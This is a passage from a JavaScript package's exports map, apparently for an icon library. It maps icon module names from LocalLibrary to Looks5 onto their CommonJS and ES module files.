{\n      \"require\": \"./LocalLibrarySharp.js\",\n      \"import\": \"./LocalLibrarySharp.mjs\",\n      \"default\": \"./LocalLibrarySharp.mjs\"\n    },\n    \"./LocalLibraryTwoTone\": {\n      \"require\": \"./LocalLibraryTwoTone.js\",\n      \"import\": \"./LocalLibraryTwoTone.mjs\",\n      \"default\": \"./LocalLibraryTwoTone.mjs\"\n    },\n    \"./LocalMall\": {\n      \"require\": \"./LocalMall.js\",\n      \"import\": \"./LocalMall.mjs\",\n      \"default\": \"./LocalMall.mjs\"\n    },\n    \"./LocalMallOutlined\": {\n      \"require\": \"./LocalMallOutlined.js\",\n      \"import\": \"./LocalMallOutlined.mjs\",\n      \"default\": \"./LocalMallOutlined.mjs\"\n    },\n    \"./LocalMallRounded\": {\n      \"require\": \"./LocalMallRounded.js\",\n      \"import\": \"./LocalMallRounded.mjs\",\n      \"default\": \"./LocalMallRounded.mjs\"\n    },\n    \"./LocalMallSharp\": {\n      \"require\": \"./LocalMallSharp.js\",\n      \"import\": \"./LocalMallSharp.mjs\",\n      \"default\": \"./LocalMallSharp.mjs\"\n    },\n    \"./LocalMallTwoTone\": {\n      \"require\": \"./LocalMallTwoTone.js\",\n      \"import\": \"./LocalMallTwoTone.mjs\",\n      \"default\": \"./LocalMallTwoTone.mjs\"\n    },\n    \"./LocalMovies\": {\n      \"require\": \"./LocalMovies.js\",\n      \"import\": \"./LocalMovies.mjs\",\n      \"default\": \"./LocalMovies.mjs\"\n    },\n    \"./LocalMoviesOutlined\": {\n      \"require\": \"./LocalMoviesOutlined.js\",\n      \"import\": \"./LocalMoviesOutlined.mjs\",\n      \"default\": \"./LocalMoviesOutlined.mjs\"\n    },\n    \"./LocalMoviesRounded\": {\n      \"require\": \"./LocalMoviesRounded.js\",\n      \"import\": \"./LocalMoviesRounded.mjs\",\n      \"default\": \"./LocalMoviesRounded.mjs\"\n    },\n    \"./LocalMoviesSharp\": {\n      \"require\": \"./LocalMoviesSharp.js\",\n      \"import\": \"./LocalMoviesSharp.mjs\",\n      \"default\": \"./LocalMoviesSharp.mjs\"\n    },\n    \"./LocalMoviesTwoTone\": {\n      \"require\": \"./LocalMoviesTwoTone.js\",\n      \"import\": \"./LocalMoviesTwoTone.mjs\",\n      \"default\": \"./LocalMoviesTwoTone.mjs\"\n    },\n    \"./LocalOffer\": {\n      \"require\": \"./LocalOffer.js\",\n      \"import\": \"./LocalOffer.mjs\",\n      \"default\": \"./LocalOffer.mjs\"\n    },\n    \"./LocalOfferOutlined\": {\n      \"require\": \"./LocalOfferOutlined.js\",\n      \"import\": \"./LocalOfferOutlined.mjs\",\n      \"default\": \"./LocalOfferOutlined.mjs\"\n    },\n    \"./LocalOfferRounded\": {\n      \"require\": \"./LocalOfferRounded.js\",\n      \"import\": \"./LocalOfferRounded.mjs\",\n      \"default\": \"./LocalOfferRounded.mjs\"\n    },\n    \"./LocalOfferSharp\": {\n      \"require\": \"./LocalOfferSharp.js\",\n      \"import\": \"./LocalOfferSharp.mjs\",\n      \"default\": \"./LocalOfferSharp.mjs\"\n    },\n    \"./LocalOfferTwoTone\": {\n      \"require\": \"./LocalOfferTwoTone.js\",\n      \"import\": \"./LocalOfferTwoTone.mjs\",\n      \"default\": \"./LocalOfferTwoTone.mjs\"\n    },\n    \"./LocalParking\": {\n      \"require\": \"./LocalParking.js\",\n      \"import\": \"./LocalParking.mjs\",\n      \"default\": \"./LocalParking.mjs\"\n    },\n    \"./LocalParkingOutlined\": {\n      \"require\": \"./LocalParkingOutlined.js\",\n      \"import\": \"./LocalParkingOutlined.mjs\",\n      \"default\": \"./LocalParkingOutlined.mjs\"\n    },\n    \"./LocalParkingRounded\": {\n      \"require\": \"./LocalParkingRounded.js\",\n      \"import\": \"./LocalParkingRounded.mjs\",\n      \"default\": \"./LocalParkingRounded.mjs\"\n    },\n    \"./LocalParkingSharp\": {\n      \"require\": \"./LocalParkingSharp.js\",\n      \"import\": \"./LocalParkingSharp.mjs\",\n      \"default\": \"./LocalParkingSharp.mjs\"\n    },\n    \"./LocalParkingTwoTone\": {\n      \"require\": \"./LocalParkingTwoTone.js\",\n      \"import\": \"./LocalParkingTwoTone.mjs\",\n      \"default\": \"./LocalParkingTwoTone.mjs\"\n    },\n    \"./LocalPharmacy\": {\n      \"require\": \"./LocalPharmacy.js\",\n      \"import\": \"./LocalPharmacy.mjs\",\n      \"default\": \"./LocalPharmacy.mjs\"\n    },\n    \"./LocalPharmacyOutlined\": {\n      \"require\": \"./LocalPharmacyOutlined.js\",\n      \"import\": \"./LocalPharmacyOutlined.mjs\",\n      \"default\": \"./LocalPharmacyOutlined.mjs\"\n    },\n    \"./LocalPharmacyRounded\": {\n      \"require\": \"./LocalPharmacyRounded.js\",\n      \"import\": \"./LocalPharmacyRounded.mjs\",\n      \"default\": \"./LocalPharmacyRounded.mjs\"\n    },\n    \"./LocalPharmacySharp\": {\n      \"require\": \"./LocalPharmacySharp.js\",\n      \"import\": \"./LocalPharmacySharp.mjs\",\n      \"default\": \"./LocalPharmacySharp.mjs\"\n    },\n    \"./LocalPharmacyTwoTone\": {\n      \"require\": \"./LocalPharmacyTwoTone.js\",\n      \"import\": \"./LocalPharmacyTwoTone.mjs\",\n      \"default\": \"./LocalPharmacyTwoTone.mjs\"\n    },\n    \"./LocalPhone\": {\n      \"import\": \"./LocalPhone.mjs\",\n      \"require\": \"./LocalPhone.js\",\n      \"default\": \"./LocalPhone.mjs\"\n    },\n    \"./LocalPhoneOutlined\": {\n      \"import\": \"./LocalPhoneOutlined.mjs\",\n      \"require\": \"./LocalPhoneOutlined.js\",\n      \"default\": \"./LocalPhoneOutlined.mjs\"\n    },\n    \"./LocalPhoneRounded\": {\n      \"import\": \"./LocalPhoneRounded.mjs\",\n      \"require\": \"./LocalPhoneRounded.js\",\n      \"default\": \"./LocalPhoneRounded.mjs\"\n    },\n    \"./LocalPhoneSharp\": {\n      \"import\": \"./LocalPhoneSharp.mjs\",\n      \"require\": \"./LocalPhoneSharp.js\",\n      \"default\": \"./LocalPhoneSharp.mjs\"\n    },\n    \"./LocalPhoneTwoTone\": {\n      \"import\": \"./LocalPhoneTwoTone.mjs\",\n      \"require\": \"./LocalPhoneTwoTone.js\",\n      \"default\": \"./LocalPhoneTwoTone.mjs\"\n    },\n    \"./LocalPizza\": {\n      \"import\": \"./LocalPizza.mjs\",\n      \"require\": \"./LocalPizza.js\",\n      \"default\": \"./LocalPizza.mjs\"\n    },\n    \"./LocalPizzaOutlined\": {\n      \"import\": \"./LocalPizzaOutlined.mjs\",\n      \"require\": \"./LocalPizzaOutlined.js\",\n      \"default\": \"./LocalPizzaOutlined.mjs\"\n    },\n    \"./LocalPizzaRounded\": {\n      \"import\": \"./LocalPizzaRounded.mjs\",\n      \"require\": \"./LocalPizzaRounded.js\",\n      \"default\": \"./LocalPizzaRounded.mjs\"\n    },\n    \"./LocalPizzaSharp\": {\n      \"import\": \"./LocalPizzaSharp.mjs\",\n      \"require\": \"./LocalPizzaSharp.js\",\n      \"default\": \"./LocalPizzaSharp.mjs\"\n    },\n    \"./LocalPizzaTwoTone\": {\n      \"import\": \"./LocalPizzaTwoTone.mjs\",\n      \"require\": \"./LocalPizzaTwoTone.js\",\n      \"default\": \"./LocalPizzaTwoTone.mjs\"\n    },\n    \"./LocalPlay\": {\n      \"import\": \"./LocalPlay.mjs\",\n      \"require\": \"./LocalPlay.js\",\n      \"default\": \"./LocalPlay.mjs\"\n    },\n    \"./LocalPlayOutlined\": {\n      \"import\": \"./LocalPlayOutlined.mjs\",\n      \"require\": \"./LocalPlayOutlined.js\",\n      \"default\": \"./LocalPlayOutlined.mjs\"\n    },\n    \"./LocalPlayRounded\": {\n      \"import\": \"./LocalPlayRounded.mjs\",\n      \"require\": \"./LocalPlayRounded.js\",\n      \"default\": \"./LocalPlayRounded.mjs\"\n    },\n    \"./LocalPlaySharp\": {\n      \"import\": \"./LocalPlaySharp.mjs\",\n      \"require\": \"./LocalPlaySharp.js\",\n      \"default\": \"./LocalPlaySharp.mjs\"\n    },\n    \"./LocalPlayTwoTone\": {\n      \"import\": \"./LocalPlayTwoTone.mjs\",\n      \"require\": \"./LocalPlayTwoTone.js\",\n      \"default\": \"./LocalPlayTwoTone.mjs\"\n    },\n    \"./LocalPolice\": {\n      \"import\": \"./LocalPolice.mjs\",\n      \"require\": \"./LocalPolice.js\",\n      \"default\": \"./LocalPolice.mjs\"\n    },\n    \"./LocalPoliceOutlined\": {\n      \"import\": \"./LocalPoliceOutlined.mjs\",\n      \"require\": \"./LocalPoliceOutlined.js\",\n      \"default\": \"./LocalPoliceOutlined.mjs\"\n    },\n    \"./LocalPoliceRounded\": {\n      \"import\": \"./LocalPoliceRounded.mjs\",\n      \"require\": \"./LocalPoliceRounded.js\",\n      \"default\": \"./LocalPoliceRounded.mjs\"\n    },\n    \"./LocalPoliceSharp\": {\n      \"import\": \"./LocalPoliceSharp.mjs\",\n      \"require\": \"./LocalPoliceSharp.js\",\n      \"default\": \"./LocalPoliceSharp.mjs\"\n    },\n    \"./LocalPoliceTwoTone\": {\n      \"import\": \"./LocalPoliceTwoTone.mjs\",\n      \"require\": \"./LocalPoliceTwoTone.js\",\n      \"default\": \"./LocalPoliceTwoTone.mjs\"\n    },\n    \"./LocalPostOffice\": {\n      \"import\": \"./LocalPostOffice.mjs\",\n      \"require\": \"./LocalPostOffice.js\",\n      \"default\": \"./LocalPostOffice.mjs\"\n    },\n    \"./LocalPostOfficeOutlined\": {\n      \"import\": \"./LocalPostOfficeOutlined.mjs\",\n      \"require\": \"./LocalPostOfficeOutlined.js\",\n      \"default\": \"./LocalPostOfficeOutlined.mjs\"\n    },\n    \"./LocalPostOfficeRounded\": {\n      \"import\": \"./LocalPostOfficeRounded.mjs\",\n      \"require\": \"./LocalPostOfficeRounded.js\",\n      \"default\": \"./LocalPostOfficeRounded.mjs\"\n    },\n    \"./LocalPostOfficeSharp\": {\n      \"import\": \"./LocalPostOfficeSharp.mjs\",\n      \"require\": \"./LocalPostOfficeSharp.js\",\n      \"default\": \"./LocalPostOfficeSharp.mjs\"\n    },\n    \"./LocalPostOfficeTwoTone\": {\n      \"import\": \"./LocalPostOfficeTwoTone.mjs\",\n      \"require\": \"./LocalPostOfficeTwoTone.js\",\n      \"default\": \"./LocalPostOfficeTwoTone.mjs\"\n    },\n    \"./LocalPrintshop\": {\n      \"import\": \"./LocalPrintshop.mjs\",\n      \"require\": \"./LocalPrintshop.js\",\n      \"default\": \"./LocalPrintshop.mjs\"\n    },\n    \"./LocalPrintshopOutlined\": {\n      \"import\": \"./LocalPrintshopOutlined.mjs\",\n      \"require\": \"./LocalPrintshopOutlined.js\",\n      \"default\": \"./LocalPrintshopOutlined.mjs\"\n    },\n    \"./LocalPrintshopRounded\": {\n      \"import\": \"./LocalPrintshopRounded.mjs\",\n      \"require\": \"./LocalPrintshopRounded.js\",\n      \"default\": \"./LocalPrintshopRounded.mjs\"\n    },\n    \"./LocalPrintshopSharp\": {\n      \"import\": \"./LocalPrintshopSharp.mjs\",\n      \"require\": \"./LocalPrintshopSharp.js\",\n      \"default\": \"./LocalPrintshopSharp.mjs\"\n    },\n    \"./LocalPrintshopTwoTone\": {\n      \"import\": \"./LocalPrintshopTwoTone.mjs\",\n      \"require\": \"./LocalPrintshopTwoTone.js\",\n      \"default\": \"./LocalPrintshopTwoTone.mjs\"\n    },\n    \"./LocalSee\": {\n      \"import\": \"./LocalSee.mjs\",\n      \"require\": \"./LocalSee.js\",\n      \"default\": \"./LocalSee.mjs\"\n    },\n    \"./LocalSeeOutlined\": {\n      \"import\": \"./LocalSeeOutlined.mjs\",\n      \"require\": \"./LocalSeeOutlined.js\",\n      \"default\": \"./LocalSeeOutlined.mjs\"\n    },\n    \"./LocalSeeRounded\": {\n      \"import\": \"./LocalSeeRounded.mjs\",\n      \"require\": \"./LocalSeeRounded.js\",\n      \"default\": \"./LocalSeeRounded.mjs\"\n    },\n    \"./LocalSeeSharp\": {\n      \"require\": \"./LocalSeeSharp.js\",\n      \"import\": \"./LocalSeeSharp.mjs\",\n      \"default\": \"./LocalSeeSharp.mjs\"\n    },\n    \"./LocalSeeTwoTone\": {\n      \"require\": \"./LocalSeeTwoTone.js\",\n      \"import\": \"./LocalSeeTwoTone.mjs\",\n      \"default\": \"./LocalSeeTwoTone.mjs\"\n    },\n    \"./LocalShipping\": {\n      \"require\": \"./LocalShipping.js\",\n      \"import\": \"./LocalShipping.mjs\",\n      \"default\": \"./LocalShipping.mjs\"\n    },\n    \"./LocalShippingOutlined\": {\n      \"require\": \"./LocalShippingOutlined.js\",\n      \"import\": \"./LocalShippingOutlined.mjs\",\n      \"default\": \"./LocalShippingOutlined.mjs\"\n    },\n    \"./LocalShippingRounded\": {\n      \"require\": \"./LocalShippingRounded.js\",\n      \"import\": \"./LocalShippingRounded.mjs\",\n      \"default\": \"./LocalShippingRounded.mjs\"\n    },\n    \"./LocalShippingSharp\": {\n      \"require\": \"./LocalShippingSharp.js\",\n      \"import\": \"./LocalShippingSharp.mjs\",\n      \"default\": \"./LocalShippingSharp.mjs\"\n    },\n    \"./LocalShippingTwoTone\": {\n      \"require\": \"./LocalShippingTwoTone.js\",\n      \"import\": \"./LocalShippingTwoTone.mjs\",\n      \"default\": \"./LocalShippingTwoTone.mjs\"\n    },\n    \"./LocalTaxi\": {\n      \"require\": \"./LocalTaxi.js\",\n      \"import\": \"./LocalTaxi.mjs\",\n      \"default\": \"./LocalTaxi.mjs\"\n    },\n    \"./LocalTaxiOutlined\": {\n      \"require\": \"./LocalTaxiOutlined.js\",\n      \"import\": \"./LocalTaxiOutlined.mjs\",\n      \"default\": \"./LocalTaxiOutlined.mjs\"\n    },\n    \"./LocalTaxiRounded\": {\n      \"require\": \"./LocalTaxiRounded.js\",\n      \"import\": \"./LocalTaxiRounded.mjs\",\n      \"default\": \"./LocalTaxiRounded.mjs\"\n    },\n    \"./LocalTaxiSharp\": {\n      \"require\": \"./LocalTaxiSharp.js\",\n      \"import\": \"./LocalTaxiSharp.mjs\",\n      \"default\": \"./LocalTaxiSharp.mjs\"\n    },\n    \"./LocalTaxiTwoTone\": {\n      \"require\": \"./LocalTaxiTwoTone.js\",\n      \"import\": \"./LocalTaxiTwoTone.mjs\",\n      \"default\": \"./LocalTaxiTwoTone.mjs\"\n    },\n    \"./LocationCity\": {\n      \"require\": \"./LocationCity.js\",\n      \"import\": \"./LocationCity.mjs\",\n      \"default\": \"./LocationCity.mjs\"\n    },\n    \"./LocationCityOutlined\": {\n      \"require\": \"./LocationCityOutlined.js\",\n      \"import\": \"./LocationCityOutlined.mjs\",\n      \"default\": \"./LocationCityOutlined.mjs\"\n    },\n    \"./LocationCityRounded\": {\n      \"require\": \"./LocationCityRounded.js\",\n      \"import\": \"./LocationCityRounded.mjs\",\n      \"default\": \"./LocationCityRounded.mjs\"\n    },\n    \"./LocationCitySharp\": {\n      \"require\": \"./LocationCitySharp.js\",\n      \"import\": \"./LocationCitySharp.mjs\",\n      \"default\": \"./LocationCitySharp.mjs\"\n    },\n    \"./LocationCityTwoTone\": {\n      \"require\": \"./LocationCityTwoTone.js\",\n      \"import\": \"./LocationCityTwoTone.mjs\",\n      \"default\": \"./LocationCityTwoTone.mjs\"\n    },\n    \"./LocationDisabled\": {\n      \"require\": \"./LocationDisabled.js\",\n      \"import\": \"./LocationDisabled.mjs\",\n      \"default\": \"./LocationDisabled.mjs\"\n    },\n    \"./LocationDisabledOutlined\": {\n      \"require\": \"./LocationDisabledOutlined.js\",\n      \"import\": \"./LocationDisabledOutlined.mjs\",\n      \"default\": \"./LocationDisabledOutlined.mjs\"\n    },\n    \"./LocationDisabledRounded\": {\n      \"require\": \"./LocationDisabledRounded.js\",\n      \"import\": \"./LocationDisabledRounded.mjs\",\n      \"default\": \"./LocationDisabledRounded.mjs\"\n    },\n    \"./LocationDisabledSharp\": {\n      \"require\": \"./LocationDisabledSharp.js\",\n      \"import\": \"./LocationDisabledSharp.mjs\",\n      \"default\": \"./LocationDisabledSharp.mjs\"\n    },\n    \"./LocationDisabledTwoTone\": {\n      \"require\": \"./LocationDisabledTwoTone.js\",\n      \"import\": \"./LocationDisabledTwoTone.mjs\",\n      \"default\": \"./LocationDisabledTwoTone.mjs\"\n    },\n    \"./LocationOff\": {\n      \"require\": \"./LocationOff.js\",\n      \"import\": \"./LocationOff.mjs\",\n      \"default\": \"./LocationOff.mjs\"\n    },\n    \"./LocationOffOutlined\": {\n      \"require\": \"./LocationOffOutlined.js\",\n      \"import\": \"./LocationOffOutlined.mjs\",\n      \"default\": \"./LocationOffOutlined.mjs\"\n    },\n    \"./LocationOffRounded\": {\n      \"require\": \"./LocationOffRounded.js\",\n      \"import\": \"./LocationOffRounded.mjs\",\n      \"default\": \"./LocationOffRounded.mjs\"\n    },\n    \"./LocationOffSharp\": {\n      \"require\": \"./LocationOffSharp.js\",\n      \"import\": \"./LocationOffSharp.mjs\",\n      \"default\": \"./LocationOffSharp.mjs\"\n    },\n    \"./LocationOffTwoTone\": {\n      \"require\": \"./LocationOffTwoTone.js\",\n      \"import\": \"./LocationOffTwoTone.mjs\",\n      \"default\": \"./LocationOffTwoTone.mjs\"\n    },\n    \"./LocationOn\": {\n      \"require\": \"./LocationOn.js\",\n      \"import\": \"./LocationOn.mjs\",\n      \"default\": \"./LocationOn.mjs\"\n    },\n    \"./LocationOnOutlined\": {\n      \"require\": \"./LocationOnOutlined.js\",\n      \"import\": \"./LocationOnOutlined.mjs\",\n      \"default\": \"./LocationOnOutlined.mjs\"\n    },\n    \"./LocationOnRounded\": {\n      \"require\": \"./LocationOnRounded.js\",\n      \"import\": \"./LocationOnRounded.mjs\",\n      \"default\": \"./LocationOnRounded.mjs\"\n    },\n    \"./LocationOnSharp\": {\n      \"require\": \"./LocationOnSharp.js\",\n      \"import\": \"./LocationOnSharp.mjs\",\n      \"default\": \"./LocationOnSharp.mjs\"\n    },\n    \"./LocationOnTwoTone\": {\n      \"require\": \"./LocationOnTwoTone.js\",\n      \"import\": \"./LocationOnTwoTone.mjs\",\n      \"default\": \"./LocationOnTwoTone.mjs\"\n    },\n    \"./LocationPin\": {\n      \"import\": \"./LocationPin.mjs\",\n      \"require\": \"./LocationPin.js\",\n      \"default\": \"./LocationPin.mjs\"\n    },\n    \"./LocationSearching\": {\n      \"import\": \"./LocationSearching.mjs\",\n      \"require\": \"./LocationSearching.js\",\n      \"default\": \"./LocationSearching.mjs\"\n    },\n    \"./LocationSearchingOutlined\": {\n      \"import\": \"./LocationSearchingOutlined.mjs\",\n      \"require\": \"./LocationSearchingOutlined.js\",\n      \"default\": \"./LocationSearchingOutlined.mjs\"\n    },\n    \"./LocationSearchingRounded\": {\n      \"import\": \"./LocationSearchingRounded.mjs\",\n      \"require\": \"./LocationSearchingRounded.js\",\n      \"default\": \"./LocationSearchingRounded.mjs\"\n    },\n    \"./LocationSearchingSharp\": {\n      \"import\": \"./LocationSearchingSharp.mjs\",\n      \"require\": \"./LocationSearchingSharp.js\",\n      \"default\": \"./LocationSearchingSharp.mjs\"\n    },\n    \"./LocationSearchingTwoTone\": {\n      \"import\": \"./LocationSearchingTwoTone.mjs\",\n      \"require\": \"./LocationSearchingTwoTone.js\",\n      \"default\": \"./LocationSearchingTwoTone.mjs\"\n    },\n    \"./Lock\": {\n      \"import\": \"./Lock.mjs\",\n      \"require\": \"./Lock.js\",\n      \"default\": \"./Lock.mjs\"\n    },\n    \"./LockClock\": {\n      \"import\": \"./LockClock.mjs\",\n      \"require\": \"./LockClock.js\",\n      \"default\": \"./LockClock.mjs\"\n    },\n    \"./LockClockOutlined\": {\n      \"import\": \"./LockClockOutlined.mjs\",\n      \"require\": \"./LockClockOutlined.js\",\n      \"default\": \"./LockClockOutlined.mjs\"\n    },\n    \"./LockClockRounded\": {\n      \"import\": \"./LockClockRounded.mjs\",\n      \"require\": \"./LockClockRounded.js\",\n      \"default\": \"./LockClockRounded.mjs\"\n    },\n    \"./LockClockSharp\": {\n      \"import\": \"./LockClockSharp.mjs\",\n      \"require\": \"./LockClockSharp.js\",\n      \"default\": \"./LockClockSharp.mjs\"\n    },\n    \"./LockClockTwoTone\": {\n      \"import\": \"./LockClockTwoTone.mjs\",\n      \"require\": \"./LockClockTwoTone.js\",\n      \"default\": \"./LockClockTwoTone.mjs\"\n    },\n    \"./LockOpen\": {\n      \"import\": \"./LockOpen.mjs\",\n      \"require\": \"./LockOpen.js\",\n      \"default\": \"./LockOpen.mjs\"\n    },\n    \"./LockOpenOutlined\": {\n      \"import\": \"./LockOpenOutlined.mjs\",\n      \"require\": \"./LockOpenOutlined.js\",\n      \"default\": \"./LockOpenOutlined.mjs\"\n    },\n    \"./LockOpenRounded\": {\n      \"import\": \"./LockOpenRounded.mjs\",\n      \"require\": \"./LockOpenRounded.js\",\n      \"default\": \"./LockOpenRounded.mjs\"\n    },\n    \"./LockOpenSharp\": {\n      \"import\": \"./LockOpenSharp.mjs\",\n      \"require\": \"./LockOpenSharp.js\",\n      \"default\": \"./LockOpenSharp.mjs\"\n    },\n    \"./LockOpenTwoTone\": {\n      \"import\": \"./LockOpenTwoTone.mjs\",\n      \"require\": \"./LockOpenTwoTone.js\",\n      \"default\": \"./LockOpenTwoTone.mjs\"\n    },\n    \"./LockOutline\": {\n      \"import\": \"./LockOutline.mjs\",\n      \"require\": \"./LockOutline.js\",\n      \"default\": \"./LockOutline.mjs\"\n    },\n    \"./LockOutlineRounded\": {\n      \"import\": \"./LockOutlineRounded.mjs\",\n      \"require\": \"./LockOutlineRounded.js\",\n      \"default\": \"./LockOutlineRounded.mjs\"\n    },\n    \"./LockOutlineSharp\": {\n      \"import\": \"./LockOutlineSharp.mjs\",\n      \"require\": \"./LockOutlineSharp.js\",\n      \"default\": \"./LockOutlineSharp.mjs\"\n    },\n    \"./LockOutlineTwoTone\": {\n      \"import\": \"./LockOutlineTwoTone.mjs\",\n      \"require\": \"./LockOutlineTwoTone.js\",\n      \"default\": \"./LockOutlineTwoTone.mjs\"\n    },\n    \"./LockOutlined\": {\n      \"import\": \"./LockOutlined.mjs\",\n      \"require\": \"./LockOutlined.js\",\n      \"default\": \"./LockOutlined.mjs\"\n    },\n    \"./LockPerson\": {\n      \"import\": \"./LockPerson.mjs\",\n      \"require\": \"./LockPerson.js\",\n      \"default\": \"./LockPerson.mjs\"\n    },\n    \"./LockPersonOutlined\": {\n      \"import\": \"./LockPersonOutlined.mjs\",\n      \"require\": \"./LockPersonOutlined.js\",\n      \"default\": \"./LockPersonOutlined.mjs\"\n    },\n    \"./LockPersonRounded\": {\n      \"import\": \"./LockPersonRounded.mjs\",\n      \"require\": \"./LockPersonRounded.js\",\n      \"default\": \"./LockPersonRounded.mjs\"\n    },\n    \"./LockPersonSharp\": {\n      \"import\": \"./LockPersonSharp.mjs\",\n      \"require\": \"./LockPersonSharp.js\",\n      \"default\": \"./LockPersonSharp.mjs\"\n    },\n    \"./LockPersonTwoTone\": {\n      \"import\": \"./LockPersonTwoTone.mjs\",\n      \"require\": \"./LockPersonTwoTone.js\",\n      \"default\": \"./LockPersonTwoTone.mjs\"\n    },\n    \"./LockReset\": {\n      \"import\": \"./LockReset.mjs\",\n      \"require\": \"./LockReset.js\",\n      \"default\": \"./LockReset.mjs\"\n    },\n    \"./LockResetOutlined\": {\n      \"import\": \"./LockResetOutlined.mjs\",\n      \"require\": \"./LockResetOutlined.js\",\n      \"default\": \"./LockResetOutlined.mjs\"\n    },\n    \"./LockResetRounded\": {\n      \"import\": \"./LockResetRounded.mjs\",\n      \"require\": \"./LockResetRounded.js\",\n      \"default\": \"./LockResetRounded.mjs\"\n    },\n    \"./LockResetSharp\": {\n      \"import\": \"./LockResetSharp.mjs\",\n      \"require\": \"./LockResetSharp.js\",\n      \"default\": \"./LockResetSharp.mjs\"\n    },\n    \"./LockResetTwoTone\": {\n      \"import\": \"./LockResetTwoTone.mjs\",\n      \"require\": \"./LockResetTwoTone.js\",\n      \"default\": \"./LockResetTwoTone.mjs\"\n    },\n    \"./LockRounded\": {\n      \"import\": \"./LockRounded.mjs\",\n      \"require\": \"./LockRounded.js\",\n      \"default\": \"./LockRounded.mjs\"\n    },\n    \"./LockSharp\": {\n      \"import\": \"./LockSharp.mjs\",\n      \"require\": \"./LockSharp.js\",\n      \"default\": \"./LockSharp.mjs\"\n    },\n    \"./LockTwoTone\": {\n      \"import\": \"./LockTwoTone.mjs\",\n      \"require\": \"./LockTwoTone.js\",\n      \"default\": \"./LockTwoTone.mjs\"\n    },\n    \"./Login\": {\n      \"import\": \"./Login.mjs\",\n      \"require\": \"./Login.js\",\n      \"default\": \"./Login.mjs\"\n    },\n    \"./LoginOutlined\": {\n      \"import\": \"./LoginOutlined.mjs\",\n      \"require\": \"./LoginOutlined.js\",\n      \"default\": \"./LoginOutlined.mjs\"\n    },\n    \"./LoginRounded\": {\n      \"import\": \"./LoginRounded.mjs\",\n      \"require\": \"./LoginRounded.js\",\n      \"default\": \"./LoginRounded.mjs\"\n    },\n    \"./LoginSharp\": {\n      \"import\": \"./LoginSharp.mjs\",\n      \"require\": \"./LoginSharp.js\",\n      \"default\": \"./LoginSharp.mjs\"\n    },\n    \"./LoginTwoTone\": {\n      \"import\": \"./LoginTwoTone.mjs\",\n      \"require\": \"./LoginTwoTone.js\",\n      \"default\": \"./LoginTwoTone.mjs\"\n    },\n    \"./LogoDev\": {\n      \"import\": \"./LogoDev.mjs\",\n      \"require\": \"./LogoDev.js\",\n      \"default\": \"./LogoDev.mjs\"\n    },\n    \"./LogoDevOutlined\": {\n      \"import\": \"./LogoDevOutlined.mjs\",\n      \"require\": \"./LogoDevOutlined.js\",\n      \"default\": \"./LogoDevOutlined.mjs\"\n    },\n    \"./LogoDevRounded\": {\n      \"import\": \"./LogoDevRounded.mjs\",\n      \"require\": \"./LogoDevRounded.js\",\n      \"default\": \"./LogoDevRounded.mjs\"\n    },\n    \"./LogoDevSharp\": {\n      \"import\": \"./LogoDevSharp.mjs\",\n      \"require\": \"./LogoDevSharp.js\",\n      \"default\": \"./LogoDevSharp.mjs\"\n    },\n    \"./LogoDevTwoTone\": {\n      \"import\": \"./LogoDevTwoTone.mjs\",\n      \"require\": \"./LogoDevTwoTone.js\",\n      \"default\": \"./LogoDevTwoTone.mjs\"\n    },\n    \"./Logout\": {\n      \"import\": \"./Logout.mjs\",\n      \"require\": \"./Logout.js\",\n      \"default\": \"./Logout.mjs\"\n    },\n    \"./LogoutOutlined\": {\n      \"import\": \"./LogoutOutlined.mjs\",\n      \"require\": \"./LogoutOutlined.js\",\n      \"default\": \"./LogoutOutlined.mjs\"\n    },\n    \"./LogoutRounded\": {\n      \"require\": \"./LogoutRounded.js\",\n      \"import\": \"./LogoutRounded.mjs\",\n      \"default\": \"./LogoutRounded.mjs\"\n    },\n    \"./LogoutSharp\": {\n      \"require\": \"./LogoutSharp.js\",\n      \"import\": \"./LogoutSharp.mjs\",\n      \"default\": \"./LogoutSharp.mjs\"\n    },\n    \"./LogoutTwoTone\": {\n      \"require\": \"./LogoutTwoTone.js\",\n      \"import\": \"./LogoutTwoTone.mjs\",\n      \"default\": \"./LogoutTwoTone.mjs\"\n    },\n    \"./Looks\": {\n      \"require\": \"./Looks.js\",\n      \"import\": \"./Looks.mjs\",\n      \"default\": \"./Looks.mjs\"\n    },\n    \"./Looks3\": {\n      \"require\": \"./Looks3.js\",\n      \"import\": \"./Looks3.mjs\",\n      \"default\": \"./Looks3.mjs\"\n    },\n    \"./Looks3Outlined\": {\n      \"require\": \"./Looks3Outlined.js\",\n      \"import\": \"./Looks3Outlined.mjs\",\n      \"default\": \"./Looks3Outlined.mjs\"\n    },\n    \"./Looks3Rounded\": {\n      \"require\": \"./Looks3Rounded.js\",\n      \"import\": \"./Looks3Rounded.mjs\",\n      \"default\": \"./Looks3Rounded.mjs\"\n    },\n    \"./Looks3Sharp\": {\n      \"require\": \"./Looks3Sharp.js\",\n      \"import\": \"./Looks3Sharp.mjs\",\n      \"default\": \"./Looks3Sharp.mjs\"\n    },\n    \"./Looks3TwoTone\": {\n      \"require\": \"./Looks3TwoTone.js\",\n      \"import\": \"./Looks3TwoTone.mjs\",\n      \"default\": \"./Looks3TwoTone.mjs\"\n    },\n    \"./Looks4\": {\n      \"require\": \"./Looks4.js\",\n      \"import\": \"./Looks4.mjs\",\n      \"default\": \"./Looks4.mjs\"\n    },\n    \"./Looks4Outlined\": {\n      \"require\": \"./Looks4Outlined.js\",\n      \"import\": \"./Looks4Outlined.mjs\",\n      \"default\": \"./Looks4Outlined.mjs\"\n    },\n    \"./Looks4Rounded\": {\n      \"require\": \"./Looks4Rounded.js\",\n      \"import\": \"./Looks4Rounded.mjs\",\n      \"default\": \"./Looks4Rounded.mjs\"\n    },\n    \"./Looks4Sharp\": {\n      \"require\": \"./Looks4Sharp.js\",\n      \"import\": \"./Looks4Sharp.mjs\",\n      \"default\": \"./Looks4Sharp.mjs\"\n    },\n    \"./Looks4TwoTone\": {\n      \"require\": \"./Looks4TwoTone.js\",\n      \"import\": \"./Looks4TwoTone.mjs\",\n      \"default\": \"./Looks4TwoTone.mjs\"\n    },\n    \"./Looks5\": {\n      \"require\": \"./Looks5.js\",\n      \"import\": \"./Looks5.mjs\",\n      \"default\": \"./Looks5.mjs\"\n    },\n    \"./Looks5Outlined\": {\n      \"require\": \"./Looks5Outlined.js\",\n      \"import\": \"./Looks5Outlined.mjs\",\n      \"default\": \"./Looks5Outlined.mjs\"\n    },\n    \"./Looks5Rounded\": {\n      \"require\": \"./Looks5Rounded.js\",\n      \"import\": \"./Looks5Rounded.mjs\",\n      \"default\": \"./Looks5Rounded.mjs\"\n    },\n    